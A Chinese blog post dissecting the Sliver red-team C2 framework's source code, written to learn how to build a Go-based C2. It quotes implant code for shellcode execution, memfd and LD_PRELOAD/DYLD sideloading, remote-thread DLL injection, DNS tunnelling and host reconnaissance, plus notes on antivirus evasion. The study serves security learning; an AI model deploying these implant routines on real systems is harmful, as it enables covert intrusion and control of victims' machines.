Skip to content

sliver c2代码的学习

字数
6101 字
阅读时间
31 分钟
更新日期
9/5/2022

Sliver 是一个基于Go的开源、跨平台的红队平台,可供各种规模的组织用于执行安全测试。 Sliver 的木马 支持 C2 over Mutual-TLS、HTTP(S) 和 DNS等协议。 implant可以时时编译生成,并会使用证书进行加密。

基于Go语言的特性,服务器和客户端以及implant都支持 MacOS、Windows 和 Linux。

Github地址:https://github.com/BishopFox/sliver tag:v1.4.22

go语言越来越流行,并且作为红队使用语言有很多优势。它十分简单,代码可以轻松编译为native代码到各类平台,跨平台开发非常容易。像py2exe和jar2exe,因为没有流行的软件,它们生成的工具很容易被杀毒针对,而golang编写的软件像docker等,让杀软无法直接查杀golang语言本身的特征,这更方便红队开发进行隐藏自己。

重要的是,已经有很多开源的,成熟的用于红队的代码,sliver就是其中之一。所以学习下sliver的代码,主要积累一些相关的go代码,学习基于go的C2是怎么做的,方便之后自己写C2。

本文将主要总结Sliver c2的功能原理、代码结构、以及对抗方面的内容。

使用&简介

sliver运行需要配置一些环境变量,如go、gcc,方便生成木马时候进行编译,在kali下运行十分简单,因为kali已经内置了这些变量,只需要在下载页面https://github.com/BishopFox/sliver/releases 下载最新的sliver-server_linux,解压后直接运行即可。

image-20211119173556687

输入http -l 8888用于开启一个基于http 8888端口的C2

image-20211119173853138

输入generate --http http://192.168.126.132:8888 生成一个基于http的c2木马。

image-20211119175041265

它生成的时候默认会使用garble对implant源码进行一遍混淆,能够防止被分析。

sliver之前的版本使用的gobfuscate,在源码层面修改变量以及代码结构,速度比较慢,相比之下garble是对中间编译环节进行混淆结构,速度比较快也能混淆大部分符号等信息。

生成完毕后的exe被点击后

image-20211119180021194

使用use [id]选择要控制的机器即可对它进行操控了。

代码简介

sliver的代码结构中有三大组件

  • implant

    • 植入物,有点拗口,可以理解为“木马”
  • server

    • teamserver,也可以进行交互操作
  • client

    • 多用户时可以使用的交互客户端

这三个组件即构成了Sliver的C2服务,server也实现了client的功能,client就是使用rpc调用server的功能,所以大部分情况下看server和implant就行了。

官方Readme上的一些Features 和它的实现方式。

  • Dynamic code generation

    • 动态代码生成,就是动态生成go源码然后编译
  • Compile-time obfuscation

    • 使用go-obf混淆生成的go代码
  • Multiplayer-mode

    • 支持多用户模式
  • Staged and Stageless payloads

    • Staged 主要是调用msf来生成的payload
  • Procedurally generated C2-C2#under-the-hood) over HTTP(S)

    • http混淆协议
      • Base64 Base64 with a custom alphabet so that it’s not interoperable with standard Base64
      • Hex Standard hexadecimal encoding with ASCII characters
      • Gzip Standard gzip
      • English Encodes arbitrary data as English ASCII text
      • PNG Encodes arbitrary data into valid PNG image files
      • Gzip+English A combination of the Gzip and English encoders
      • Base64+Gzip A combination of the Base64 and Gzip encoders
  • [DNS canary] blue team detection

    • 使用DNS诱饵域名 发现蓝队
  • Secure C2 over mTLS, WireGuard, HTTP(S), and DNS

    • C2通信支持的协议 mTLS, WireGuard, HTTP(S), DNS
  • Fully scriptable using JavaScript/TypeScript or Python

    • 支持使用JavaScript和Python编写脚本
  • Local and remote process injection

    • 本地和远程进程注入
  • Windows process migration

  • Windows user token manipulation

  • Anti-anti-anti-forensics

    • 对抗
  • Let’s Encrypt integration

    • Let’s Encrypt集成
  • In-memory .NET assembly execution

Implant

implant是sliver c2的“木马”部分,也是整个c2的核心部分。sliver 的implant是支持跨平台的,三个平台功能的基本功能基本上都有,但每个平台的支持程度还是稍有差异。但是它对windows平台的功能显然更多一点。

sliver的提供了三种选项编译implant,编译成shellcode、编译成第三方库,和编译成exe。对于windows,还支持生成windows servicewindows regsvr32/ PowerSploit类型的文件,后两种格式,其实就是一种含有特殊导出表的DLL。

编译成第三方库

能分别生成.dll.dylib.so文件,主要依赖cgo,要调用c语言编译器。所以想在server上多端生成,要下载各个平台的交叉编译器。

主要就是sliver.c实现的。

c
#include "sliver.h"

#ifdef __WIN32

DWORD WINAPI Enjoy()
{
    RunSliver();
    return 0;
}

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL, // handle to DLL module
    DWORD _fdwReason,    // reason for calling function
    LPVOID _lpReserved)  // reserved
{
    switch (_fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        // Initialize once for each new process.
        // Return FALSE to fail DLL load.
    {
        // {{if .Config.IsSharedLib}}
        HANDLE hThread = CreateThread(NULL, 0, Enjoy, NULL, 0, NULL);
        // CreateThread() because otherwise DllMain() is highly likely to deadlock.
        // {{end}}
    }
    break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}
#elif __linux__
#include <stdlib.h>

void RunSliver();

static void init(int argc, char **argv, char **envp)
{
    unsetenv("LD_PRELOAD");
    unsetenv("LD_PARAMS");
    RunSliver();
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
#include <stdlib.h>
void RunSliver();

__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
    unsetenv("DYLD_INSERT_LIBRARIES");
    unsetenv("LD_PARAMS");
    RunSliver();
}

#endif

windows在dllmain里面启动一个线程执行go函数,mac和linux直接再init上执行go函数。

编译成shellcode

只能在windows下使用,在server\generate\binaries.go

编译shellcode,首先编译成dll,然后会使用go-donut github.com/binject/go-donut/donut 进行转换为shellcode。

donut可以将任意的exe、dll、.net等等程序转换为shellcode,go-donut 是donut 的go实现,关于donut ,模仿cs开局一个shellcode的实现.md 有讲述相关原理。

功能

在大体看了implant代码后,我画了一张思维导图用来描述sliver c2 implant所具有的功能和技术。

![Sliver C2 Implant](assert/FzKX4_Sliver C2 Implant-16377473396871.png)

功能详情

sideload

主要用于加载并执行库文件

Darwin

在本进程执行shellcode

go
func LocalTask(data []byte, rwxPages bool) error {
    dataAddr := uintptr(unsafe.Pointer(&data[0]))
    page := getPage(dataAddr)
    syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
    dataPtr := unsafe.Pointer(&data)
    funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
    runtime.LockOSThread()
    defer runtime.UnlockOSThread()
    go func(fPtr func()) {
        fPtr()
    }(funcPtr)
    return nil
}

sideload 这个会写出文件,将库文件写到tmp目录,指定环境变量DYLD_INSERT_LIBRARIES为文件路径

go
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
    var (
        stdOut bytes.Buffer
        stdErr bytes.Buffer
        wg     sync.WaitGroup
    )
    fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
    err := ioutil.WriteFile(fdPath, data, 0755)
    if err != nil {
        return "", err
    }
    env := os.Environ()
    newEnv := []string{
        fmt.Sprintf("LD_PARAMS=%s", args),
        fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
    }
    env = append(env, newEnv...)
    cmd := exec.Command(procName)
    cmd.Env = env
    cmd.Stdout = &stdOut
    cmd.Stderr = &stdErr
    //{{if .Config.Debug}}
    log.Printf("Starting %s\n", cmd.String())
    //{{end}}
    wg.Add(1)
    go startAndWait(cmd, &wg)
    // Wait for process to terminate
    wg.Wait()
    // Cleanup
    os.Remove(fdPath)

    if len(stdErr.Bytes()) > 0 {
        return "", fmt.Errorf(stdErr.String())
    }
    //{{if .Config.Debug}}
    log.Printf("Done, stdout: %s\n", stdOut.String())
    log.Printf("Done, stderr: %s\n", stdErr.String())
    //{{end}}
    return stdOut.String(), nil
}

linux

无文件落地、内存执行.so,原理是使用memfd_create,允许我们在内存中创建一个文件,但是它在内存中的存储并不会被映射到文件系统中,执行程序时候设置环境变量LD_PRELOAD,预加载so文件

go
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
    var (
        nrMemfdCreate int
        stdOut        bytes.Buffer
        stdErr        bytes.Buffer
        wg            sync.WaitGroup
    )
    memfdName := randomString(8)
    memfd, err := syscall.BytePtrFromString(memfdName)
    if err != nil {
        //{{if .Config.Debug}}
        log.Printf("Error during conversion: %s\n", err)
        //{{end}}
        return "", err
    }
    if runtime.GOARCH == "386" {
        nrMemfdCreate = 356
    } else {
        nrMemfdCreate = 319
    }
    fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
    pid := os.Getpid()
    fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
    err = ioutil.WriteFile(fdPath, data, 0755)
    if err != nil {
        //{{if .Config.Debug}}
        log.Printf("Error writing file to memfd: %s\n", err)
        //{{end}}
        return "", err
    }
    //{{if .Config.Debug}}
    log.Printf("Data written in %s\n", fdPath)
    //{{end}}
    env := os.Environ()
    newEnv := []string{
        fmt.Sprintf("LD_PARAMS=%s", args),
        fmt.Sprintf("LD_PRELOAD=%s", fdPath),
    }
    env = append(env, newEnv...)
    cmd := exec.Command(procName)
    cmd.Env = env
    cmd.Stdout = &stdOut
    cmd.Stderr = &stdErr
    //{{if .Config.Debug}}
    log.Printf("Starging %s\n", cmd.String())
    //{{end}}
    wg.Add(1)
    go startAndWait(cmd, &wg)
    // Wait for process to terminate
    wg.Wait()
    if len(stdErr.Bytes()) > 0 {
        return "", fmt.Errorf(stdErr.String())
    }
    //{{if .Config.Debug}}
    log.Printf("Done, stdout: %s\n", stdOut.String())
    log.Printf("Done, stderr: %s\n", stdErr.String())
    //{{end}}
    return stdOut.String(), nil
}

Windows

  1. 使用DuplicateHandle,将句柄从一个进程复制到另一个进程
  2. 在目标进程创建内存并使用创建远程线程执行dll
go
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
    var lpTargetHandle windows.Handle
    err := refresh()
    if err != nil {
        return "", err
    }
    var stdoutBuff bytes.Buffer
    var stderrBuff bytes.Buffer
    // 1 - Start process
    cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
    if err != nil {
        return "", err
    }
    pid := cmd.Process.Pid
    // {{if .Config.Debug}}
    log.Printf("[*] %s started, pid = %d\n", procName, pid)
    // {{end}}
    handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
    if err != nil {
        return "", err
    }
    currentProcHandle, err := windows.GetCurrentProcess()
    if err != nil {
        // {{if .Config.Debug}}
        log.Println("GetCurrentProcess failed")
        // {{end}}
        return "", err
    }
    err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
    if err != nil {
        // {{if .Config.Debug}}
        log.Println("DuplicateHandle failed")
        // {{end}}
        return "", err
    }
    defer windows.CloseHandle(handle)
    defer windows.CloseHandle(lpTargetHandle)
    dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
    argAddr := uintptr(0)
    if len(args) > 0 {
        //{{if .Config.Debug}}
        log.Printf("Args: %s\n", args)
        //{{end}}
        argsArray := []byte(args)
        argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
        if err != nil {
            return "", err
        }
    }
    //{{if .Config.Debug}}
    log.Printf("[*] Args addr: 0x%08x\n", argAddr)
    //{{end}}
    startAddr := uintptr(dataAddr) + uintptr(offset)
    threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
    if err != nil {
        return "", err
    }
    // {{if .Config.Debug}}
    log.Printf("[*] RemoteThread started. Waiting for execution to finish.\n")
    // {{end}}

    if kill {
        err = waitForCompletion(threadHandle)
        if err != nil {
            return "", err
        }
        // {{if .Config.Debug}}
        log.Printf("[*] Thread completed execution, attempting to kill remote process\n")
        // {{end}}
        cmd.Process.Kill()
        return stdoutBuff.String() + stderrBuff.String(), nil
    }
    return "", nil
}

netstack

proxy

shell

注入技术

系统代理

通信流程

implant支持mtlsWireGuardhttp/httpsdnsnamedpipetcp等协议的上线,namedpipetcp用于内网,加密程度不高,主要看看其他的。

HTTP/HTTPS

implant实现

implant在初始化时,会首先请求服务器获得一个公钥,再生成一个随机的AESKEY,用公钥加密后发送到服务器,服务器确认后返回一个sessionid表示注册,后续implant只需要通过发送sessionid到服务器,服务器即可根据sessionid找到对应的aeskey解密数据。

sliver的implant、client、server,所有通信的数据都是基于Go的struct,再经过proto3编码为字节发送。关于proto3,后面有介绍。

请求

  • 随机编码器,通过随机数每次请求都会使用随机的编码器,在原aeskey的基础再次进行一次编码
    • uri的参数_用来标记编码器的数字
  • 通过cookie 标记sessionid
    • PHPSESSID来传递sessionid

implant在初始化完成获得sessionID后,接着会启动两个GoRoutine(可以粗糙的理解为两个线程),一个用于发送,一个用于接收,它们都是监控一个变量,当一个变量获得值之后立马进行相应的操作(发送/接收)。

如果是其他语言实现类似操作的话可能要实现一个内存安全的队列,而在Go里面可以用自带的语法实现类似操作,既简单也明了。

go
go func() {
    defer connection.Cleanup()
    for envelope := range send {
        data, _ := proto.Marshal(envelope)
        log.Printf("[http] send envelope ...")
        go client.Send(data)
    }
}()

关于implant实现http/https协议具体细节,画了一张脑图。

HTTPS

HTTP/HTTPS server端一些有意思的点

  • 伪时时回显
    • cobalt strike有sleep的概念,是implant每次回连server的时间,因为这个概念,每次执行命令都会等待一段事件才能看到结果。
    • sliver的http/https协议上线没有sleep的概念,每次发送完命令它立马就能返回结果。
    • 原理是server接收到implant的请求后,如果当前没有任务,会卡住implant的请求(最长一分钟),直至有任务出现。implant在timeout后也会再次请求,所以看到的效果就是发送的命令立马就能得到回显。
  • 重放检测
    • 防止蓝队对数据进行重放,implant的编码和加密多种多样,还有一定的随机值,理论上不可能会有内容一样包再次发送,sliver server会将每次的数据sha1编码的方式记录下来,如果蓝队对数据进行重放攻击,则会返回错误页面。

DNS

dns协议虽然隐蔽,但它的限制较多,实现起来会有诸多束缚。

根据https://zh.wikipedia.org/wiki/域名系统 dns域名限制为253字符

  • image-20211202140606942
  • 对每一级域名长度的限制是63个字符
  • 一个DNS TXT 记录字符串最多可包含255 个字符

知道了以上限制就可以设计自己的DNS上线协议了。

sliver设计的协议是最终发送DNS的数据都会经过base32编码(会处理掉=),使用了自己的编码表

go
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")

sliver设计的域名发送格式为

subdata.seq.nonce.sessionid.msgType.parentdomain
  • subdata:表示发送的数据,最多3*63=189字节,subdata可能会有多个子域
  • seq:表示这是数据的第几个
  • nonce:一个10位字节的随机数,以防解析器忽略 TTL,以及后面防重放攻击的避免手段
  • sessionid: sessionid标记当前implant
  • msgType:表示执行的命令类型
  • parentdomain: 自定义的域名

计算发送次数

  • size := int(math.Ceil(float64(len(encoded)) / float64(dnsSendDomainStep)))
  • dnsSendDomainStep = 189 #每一级域名长度的限制是63个字符,sliver取3个子域用于发送数据,最大可发送 63 * 3 = 189字节

但是最终数据都会经过Base 32 编码,所以 (n _8 + 4) /5 = 63,n=39,意味着每次请求最终可发送39_ 3 =117 个字节

subdataseqnonce由发送函数自动生成组装,sessionid、msgType、parentdomain 由用户控制。我将它DNS发送函数抽取了出来,可以自己模拟DNS发送的过程。

go
package main

import (
    "bytes"
    "encoding/base32"
    "encoding/binary"
    "fmt"
    "log"
    "math"
    insecureRand "math/rand"
    "strings"
)

const (
    sessionIDSize = 16

    dnsSendDomainSeg  = 63
    dnsSendDomainStep = 189 // 63 * 3

    domainKeyMsg  = "_domainkey"
    blockReqMsg   = "b"
    clearBlockMsg = "cb"

    sessionInitMsg     = "si"
    sessionPollingMsg  = "sp"
    sessionEnvelopeMsg = "se"

    nonceStdSize = 6

    blockIDSize = 6

    maxBlocksPerTXT = 200 // How many blocks to put into a TXT resp at a time
)

var dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")

var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)

func dnsEncodeToString(input []byte) string {
    encoded := sliverBase32.EncodeToString(input)
    // {{if .Config.Debug}}
    log.Printf("[base32] %#v", encoded)
    // {{end}}
    return strings.TrimRight(encoded, "=")
}

// dnsNonce - Generate a nonce of a given size in case the resolver ignores the TTL
func dnsNonce(size int) string {
    nonce := []rune{}
    for i := 0; i < size; i++ {
        index := insecureRand.Intn(len(dnsCharSet))
        nonce = append(nonce, dnsCharSet[index])
    }
    return string(nonce)
}
func dnsDomainSeq(seq int) []byte {
    buf := new(bytes.Buffer)
    binary.Write(buf, binary.LittleEndian, uint32(seq))
    return buf.Bytes()
}

// Send raw bytes of an arbitrary length to the server
func dnsSend(parentDomain string, msgType string, sessionID string, data []byte) {

    encoded := dnsEncodeToString(data)
    size := int(math.Ceil(float64(len(encoded)) / float64(dnsSendDomainStep)))
    // {{if .Config.Debug}}
    log.Printf("Encoded message length is: %d (size = %d)", len(encoded), size)
    // {{end}}

    nonce := dnsNonce(10) // Larger nonce for this use case

    // DNS domains are limited to 254 characters including '.' so that means
    // Base 32 encoding, so (n*8 + 4) / 5 = 63 means we can encode 39 bytes
    // So we have 63 * 3 = 189 (+ 3x '.') + metadata
    // So we can send up to (3 * 39) 117 bytes encoded as 3x 63 character subdomains
    // We have a 4 byte uint32 seqence number, max msg size (2**32) * 117 = 502511173632
    //
    // Format: (subdata...).(seq).(nonce).(session id).(_)(msgType).<parent domain>
    //                [63].[63].[63].[4].[20].[12].[3].
    //                    ... ~235 chars ...
    //                Max parent domain: ~20 chars
    //
    for index := 0; index < size; index++ {
        // {{if .Config.Debug}}
        log.Printf("Sending domain #%d of %d", index+1, size)
        // {{end}}
        start := index * dnsSendDomainStep
        stop := start + dnsSendDomainStep
        if len(encoded) <= stop {
            stop = len(encoded)
        }
        // {{if .Config.Debug}}
        log.Printf("Send data[%d:%d] %d bytes", start, stop, len(encoded[start:stop]))
        // {{end}}
        data := encoded[start:stop] // Total data we're about to send

        subdomains := int(math.Ceil(float64(len(data)) / dnsSendDomainSeg))
        // {{if .Config.Debug}}
        log.Printf("Subdata subdomains: %d", subdomains)
        // {{end}}

        subdata := []string{} // Break up into at most 3 subdomains (189)
        for dataIndex := 0; dataIndex < subdomains; dataIndex++ {
            dataStart := dataIndex * dnsSendDomainSeg
            dataStop := dataStart + dnsSendDomainSeg
            if len(data) < dataStop {
                dataStop = len(data)
            }
            // {{if .Config.Debug}}
            log.Printf("Subdata #%d [%d:%d]: %#v", dataIndex, dataStart, dataStop, data[dataStart:dataStop])
            // {{end}}
            subdata = append(subdata, data[dataStart:dataStop])
        }
        // {{if .Config.Debug}}
        log.Printf("Encoded subdata: %#v", subdata)
        // {{end}}

        subdomain := strings.Join(subdata, ".")
        seq := dnsEncodeToString(dnsDomainSeq(index))
        domain := subdomain + fmt.Sprintf(".%s.%s.%s.%s.%s", seq, nonce, sessionID, msgType, parentDomain)
        log.Println("dnsLookup", domain)
        //_, err := dnsLookup(domain)
        //if err != nil {
        //    return "", err
        //}
    }
    // A domain with "_" before the msgType means we're doing sending data
    domain := fmt.Sprintf("%s.%s.%s.%s", nonce, sessionID, "_"+msgType, parentDomain)
    log.Println("dnsLookup and recv", domain)
}

func main() {
    parentDomain := "360.cn"
    msgType := "si" //sessionInitMsg
    sessionID := "_"
    var data = []byte("texttexttexttexttexttexttexttexttexttexttexttext")
    dnsSend(parentDomain, msgType, sessionID, data)
}

DNS C2上线协议部分总结了一下脑图

![DNS C2协议](assert/lMm1g_DNS C2协议.png)

防止重放攻击

DNS Canary发现

除了server端的重放检测,向implant内置一个诱饵dns,也是一个检查暴露的方法。如果有人访问这个地址,说明implant已经暴露了。

dns canary域名生成

server\generate\canaries.go

会随机生成一个子域名,存储在数据库,存储的内容

image-20211129165256670

server端启动dns服务后,会查看DNS的信息,如果是数据库中存在的canary dns,则会更新这个dns的信息(更新触发时间,触发次数,是否第一次触发),然后向控制端广播。

image-20211129165743919

最后向请求者返回一个随机IP。

编码协议

  • client 操作 teamserver,是通过grpc + mtls双向加密进行

具体协议的内容在源代码的protobuf\README.md

因为使用了grpc,它使用的协议是Google的proto3

Protocol Buffer (简称Protobuf) 是Google出品的性能优异、跨语言、跨平台的序列化库。

protobuf目录下,一些协议的说明

Protobuf
==========
 *`commonpb` -`clientpb` 和 `sliverpb` 之间共享的通用消息。值得注意的是通用的“Request”和“Response”类型,它们在 gRPC 请求/响应中用作标头。
 *`clientpb` -这些消息 只从客户端发送到服务器。
 *`sliverpb` -这些消息可以从客户端发送到服务器或从服务器发送到植入物,反之亦然。并非此文件中定义的所有消息都会出现在客户端<->服务器通信中,有些是特定于植入<->服务器的。
 *`rpcpb` -gRPC 服务定义

查看client的协议源文件clientpb,就可以看到木马会发送哪些字段了

syntax = "proto3";
package clientpb;
option go_package = "github.com/bishopfox/sliver/protobuf/clientpb";

import "commonpb/common.proto";


// [ Version ] ----------------------------------------
message Version {
  int32 Major = 1;
  int32 Minor = 2;
  int32 Patch = 3;

  string Commit = 4;
  bool Dirty = 5;
  int64 CompiledAt = 6;

  string OS = 7;
  string Arch = 8;
}

// [ Core ] ----------------------------------------
message Session {
  uint32 ID = 1;
  string Name = 2;
  string Hostname = 3;
  string UUID = 4;
  string Username = 5;
  string UID = 6;
  string GID = 7;
  string OS = 8;
  string Arch = 9;
  string Transport = 10;
  string RemoteAddress = 11;
  int32 PID = 12;
  string Filename = 13; // Argv[0]
  string LastCheckin = 14;
  string ActiveC2 = 15;
  string Version = 16;
  bool Evasion = 17;
  bool IsDead = 18;
  uint32 ReconnectInterval = 19;
  string ProxyURL = 20;
}

message ImplantC2 {
  uint32 Priority = 1;
  string URL = 2;
  string Options = 3; // Protocol specific options
}

message ImplantConfig {
  string GOOS = 1;
  string GOARCH = 2;
  string Name = 3;
  string CACert = 4;
  string Cert = 5;
  string Key = 6;
  bool Debug = 7;
  bool Evasion = 31;
  bool ObfuscateSymbols = 30;

  uint32 ReconnectInterval = 8;
  uint32 MaxConnectionErrors = 9;

  // c2
  repeated ImplantC2 C2 = 10;
  repeated string CanaryDomains = 11;

  bool LimitDomainJoined = 20;
  string LimitDatetime = 21;
  string LimitHostname = 22;
  string LimitUsername = 23;
  string LimitFileExists = 32;

  enum OutputFormat {
    SHARED_LIB = 0;
    SHELLCODE = 1;
    EXECUTABLE = 2;
    SERVICE = 3;
  }
  OutputFormat Format = 25;
  bool IsSharedLib = 26;

  string FileName = 27;
  bool IsService = 28;
  bool IsShellcode = 29;
}

// Configs of previously built implants
message ImplantBuilds {
  map<string, ImplantConfig> Configs = 1;
}

message DeleteReq {
  string Name = 1;
}

// DNSCanary - Single canary and metadata
message DNSCanary {
  string ImplantName = 1;
  string Domain = 2;
  bool Triggered = 3;
  string FirstTriggered = 4;
  string LatestTrigger = 5;
  uint32 Count = 6;
}

message Canaries {
  repeated DNSCanary Canaries = 1;
}

message ImplantProfile {
  string Name = 1;
  ImplantConfig Config = 2;
}

message ImplantProfiles {
  repeated ImplantProfile Profiles = 1;
}

message RegenerateReq {
  string ImplantName = 1;
}

message Job {
  uint32 ID = 1;
  string Name = 2;
  string Description = 3;
  string Protocol = 4;
  uint32 Port = 5;

  repeated string Domains = 6;
}


// [ Jobs ]  ----------------------------------------
message Jobs {
  repeated Job Active = 1;
}

message KillJobReq {
  uint32 ID = 1;
}

message KillJob {
  uint32 ID = 1;
  bool Success = 2;
}

// [ Listeners ] ----------------------------------------
message MTLSListenerReq {
  string Host = 1;
  uint32 Port = 2;
  bool Persistent = 3;
}

message MTLSListener {
  uint32 JobID = 1;
}

message DNSListenerReq {
  repeated string Domains = 1;
  bool Canaries = 2;
  string Host = 3;
  uint32 Port = 4;
  bool Persistent = 5;
}

message DNSListener {
  uint32 JobID = 1;
}

message HTTPListenerReq {
  string Domain = 1;
  string Host = 2;
  uint32 Port = 3;
  bool Secure = 4; // Enable HTTPS
  string Website = 5;
  bytes Cert = 6;
  bytes Key = 7;
  bool ACME = 8;
  bool Persistent = 9;
}

// Named Pipes Messages for pivoting
message NamedPipesReq {
  string PipeName = 16;

  commonpb.Request Request = 9;
}

message NamedPipes {
  bool Success = 1;
  string Err = 2;

  commonpb.Response Response = 9;
}

// TCP Messages for pivoting
message TCPPivotReq {
  string Address = 16;

  commonpb.Request Request = 9;
}

message TCPPivot {
  bool Success = 1;
  string Err = 2;

  commonpb.Response Response = 9;
}

message HTTPListener {
  uint32 JobID = 1;
}

// [ commands ] ----------------------------------------
message Sessions {
  repeated Session Sessions = 1;
}

message UpdateSession {
  uint32 SessionID = 1;
  string Name = 2;
}

message GenerateReq {
  ImplantConfig Config = 1;
}

message Generate {
  commonpb.File File = 1;
}

message MSFReq {
  string Payload = 1;
  string LHost = 2;
  uint32 LPort = 3;
  string Encoder = 4;
  int32 Iterations = 5;

  commonpb.Request Request = 9;
}

message MSFRemoteReq {
  string Payload = 1;
  string LHost = 2;
  uint32 LPort = 3;
  string Encoder = 4;
  int32 Iterations = 5;
  uint32 PID = 8;

  commonpb.Request Request = 9;
}

enum StageProtocol {
    TCP = 0;
    HTTP = 1;
    HTTPS = 2;
}

message StagerListenerReq {
  StageProtocol Protocol = 1;
  string Host = 2;
  uint32 Port = 3;
  bytes Data = 4;
  bytes Cert = 5;
  bytes Key = 6;
  bool ACME = 7;
}

message StagerListener {
  uint32 JobID = 1;
}

message ShellcodeRDIReq {
  bytes Data = 1;
  string FunctionName = 2;
  string Arguments = 3;
}

message ShellcodeRDI {
  bytes Data = 1;
}

message MsfStagerReq {
  string Arch = 1;
  string Format = 2;
  uint32 Port = 3;
  string Host = 4;
  string OS = 5; // reserved for future usage
  StageProtocol Protocol = 6;
  repeated string BadChars = 7;
}

message MsfStager {
  commonpb.File File = 1;
}

// GetSystemReq - Client request to the server which is translated into
//                InvokeSystemReq when sending to the implant.
message GetSystemReq {
  string HostingProcess = 1;
  ImplantConfig Config = 2;

  commonpb.Request Request = 9;
}

// MigrateReq - Client request to the server which is translated into
//              InvokeMigrateReq when sending to the implant.
message MigrateReq {
  uint32 Pid = 1;
  ImplantConfig Config = 2;

  commonpb.Request Request = 9;
}


// [ Tunnels ] ----------------------------------------
message CreateTunnelReq {

  commonpb.Request Request = 9;
}

message CreateTunnel {
  uint32 SessionID = 1;

  uint64 TunnelID = 8 [jstype = JS_STRING];
}

message CloseTunnelReq {
  uint64 TunnelID = 8 [jstype = JS_STRING];

  commonpb.Request Request = 9;
}

// [ events ] ----------------------------------------
message Client {
  uint32 ID = 1;
  string Name = 2;

  Operator Operator = 3;
}

message Event {
  string EventType = 1;
  Session Session = 2;
  Job Job = 3;
  Client Client = 4;
  bytes Data = 5;

  string Err = 6; // Can't trigger normal gRPC error
}

message Operators { 
  repeated Operator Operators = 1;
}

message Operator {
  bool Online = 1;
  string Name = 2;
}

// [ websites ] ----------------------------------------
message WebContent {
  string Path = 1;
  string ContentType = 2;
  uint64 Size = 3 [jstype = JS_STRING];

  bytes Content = 9;
}

message WebsiteAddContent {
  string Name = 1;
  map<string, WebContent> Contents = 2;
}

message WebsiteRemoveContent { 
  string Name = 1;
  repeated string Paths = 2;
}

message Website {
  string Name = 1;
  map<string, WebContent> Contents = 2;
}

message Websites {
  repeated Website Websites = 1;
}

可学习的go编程

有很多Go编程的细节可以学习。

处理自定义协议

implant主函数很精简,先通过自定义协议连接,再一个主函数处理连接后的操作。

go
for {
        connection := transports.StartConnectionLoop()
        if connection == nil {
            break
        }
        mainLoop(connection)
    }

连接部分精简化的代码就是这样

image-20211112170015852

nextCCServer可以通过连接的次数和server的数量变换协议和server

func nextCCServer() *url.URL {
    uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
    *ccCounter++
    if err != nil {
        return nextCCServer()
    }
    return uri
}

后续通过解析出来的协议再分别处理。nextCCServer的算法有点简单,自己写的话可以修改一下,用一些时间算法,dga算法等等,来达到随机化获取c2 teamserver的目的。

map映射函数

在接收任务进行处理的时候,通过map映射执行相关的函数

image-20211119211849143

Goroutine 和 chanel

使用chanel传递参数,使用goroutine创建处理过程

image-20211202153825316

chanel创建完成后,想像server发送指令,只需要

send <- 指令

即可

获取基础信息

go
func getRegisterSliver() *sliverpb.Envelope {
    hostname, err := os.Hostname()
    if err != nil {
        hostname = ""
    }
    currentUser, err := user.Current()
    if err != nil {
        // Gracefully error out
        currentUser = &user.User{
            Username: "<< error >>",
            Uid:      "<< error >>",
            Gid:      "<< error >>",
        }

    }
    filename, err := os.Executable()
    // Should not happen, but still...
    if err != nil {
        //TODO: build the absolute path to os.Args[0]
        if 0 < len(os.Args) {
            filename = os.Args[0]
        } else {
            filename = "<< error >>"
        }
    }

    // Retrieve UUID
    uuid := hostuuid.GetUUID()

    data, err := proto.Marshal(&sliverpb.Register{
        Name:              consts.SliverName,
        Hostname:          hostname,
        Uuid:              uuid,
        Username:          currentUser.Username,
        Uid:               currentUser.Uid,
        Gid:               currentUser.Gid,
        Os:                runtime.GOOS,
        Version:           version.GetVersion(),
        Arch:              runtime.GOARCH,
        Pid:               int32(os.Getpid()),
        Filename:          filename,
        ActiveC2:          transports.GetActiveC2(),
        ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
        ProxyURL:          transports.GetProxyURL(),
    })
    if err != nil {
        return nil
    }
    return &sliverpb.Envelope{
        Type: sliverpb.MsgRegister,
        Data: data,
    }
}

得到信息后,直接通过发送到相关transport实现的send chan里

go
connection.Send <- getRegisterSliver()

测试用例

用于工程化的一键生成、一键测试,详情可查看_test.go结尾的文件,这是个好习惯

流量特征

http

获取公钥,访问.txt结尾

func (s *SliverHTTPClient) txtURL() string {
    curl, _ := url.Parse(s.Origin)
    segments := []string{"static", "www", "assets", "text", "docs", "sample"}
    filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
    curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
    return curl.String()
}

